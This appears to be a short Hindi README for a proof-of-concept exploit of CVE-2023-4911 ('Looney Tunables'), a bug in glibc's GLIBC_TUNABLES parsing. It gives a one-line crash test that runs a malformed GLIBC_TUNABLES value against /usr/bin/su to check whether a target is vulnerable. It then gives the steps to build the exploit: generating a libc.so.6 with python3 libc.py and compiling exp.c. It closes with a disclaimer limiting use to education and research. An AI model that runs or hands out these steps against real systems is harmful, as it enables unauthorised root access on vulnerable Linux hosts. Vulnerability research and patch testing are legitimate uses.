
यह CVE-2023-4911 (उर्फ "Looney Tunables") का एक PoC है जो glibc डायनेमिक लोडर के GLIBC_TUNABLES पर्यावरण चर पार्सिंग फ़ंक्शन parse_tunables() में एक बग का शोषण करता है।
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped) मिलता है तो हम एक असुरक्षित लक्ष्य से निपट रहे हैं।libc.so.6 फ़ाइल बनाएंpython3 libc.py
gcc exp.c -o exp
इस रिपॉजिटरी में प्रदान किया गया सारा कोड केवल शैक्षिक/अनुसंधान उद्देश्यों के लिए है। इस रिपॉजिटरी में निहित सामग्री से संबंधित कोई भी कार्य और/या गतिविधियाँ पूरी तरह से आपकी जिम्मेदारी हैं। इस रिपॉजिटरी में कोड के दुरुपयोग के परिणामस्वरूप संबंधित व्यक्तियों के खिलाफ आपराधिक आरोप लग सकते हैं। इस रिपॉजिटरी में कोड का दुरुपयोग करके कानून तोड़ने वाले किसी भी व्यक्ति के खिलाफ आपराधिक आरोप लगने की स्थिति में लेखक जिम्मेदार नहीं होगा।